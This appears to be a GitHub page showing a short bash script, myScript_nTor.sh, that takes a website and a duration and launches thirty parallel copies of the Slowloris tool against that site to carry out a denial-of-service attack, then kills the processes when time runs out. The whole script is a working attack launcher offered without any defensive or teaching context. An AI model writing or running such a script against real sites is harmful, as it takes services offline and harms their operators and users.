-
Notifications
You must be signed in to change notification settings - Fork 0
/
myScript_nTor.sh
58 lines (51 loc) · 1.19 KB
/
myScript_nTor.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/bin/bash
function displayHelp()
{
echo -e "usage: "$0" www.site_example.com t\n"
echo " options:"
echo " t - time in seconds for the attack duration"
exit
}
function argumentsValidation()
{
if ! [[ ${@: -1} =~ ^[0-9]+$ ]];
then
if [[ "${@: -1}" == "-help" ]] || [[ "${@: -1}" == "--help" ]] || [[ "${@: -1}" == "-h" ]] ;
then
displayHelp
exit
else
echo "The last argument should be an int"
exit
fi
fi
if [[ $# -ne 2 ]]
then
displayHelp
fi
}
function DOS()
{
max_processes=30
for (( i=0; i<$max_processes; i++ ))
do
perl slowloris.pl -dns $1 1> /dev/null &
processes_id[i]=$!
echo "Process Nº "$((i+1)), "ID: "${processes_id[i]}" created!"
done
sleep $2
exec 3>&2 # put stderr
exec 2> /dev/null # in /dev/null
}
function killProcess()
{
for i in ${processes_id[*]}
do
kill $i 2>/dev/null &
done
}
trap "killProcess ; exit 0" SIGINT
argumentsValidation "$@"
DOS "$@"
killProcess
exec 2>&3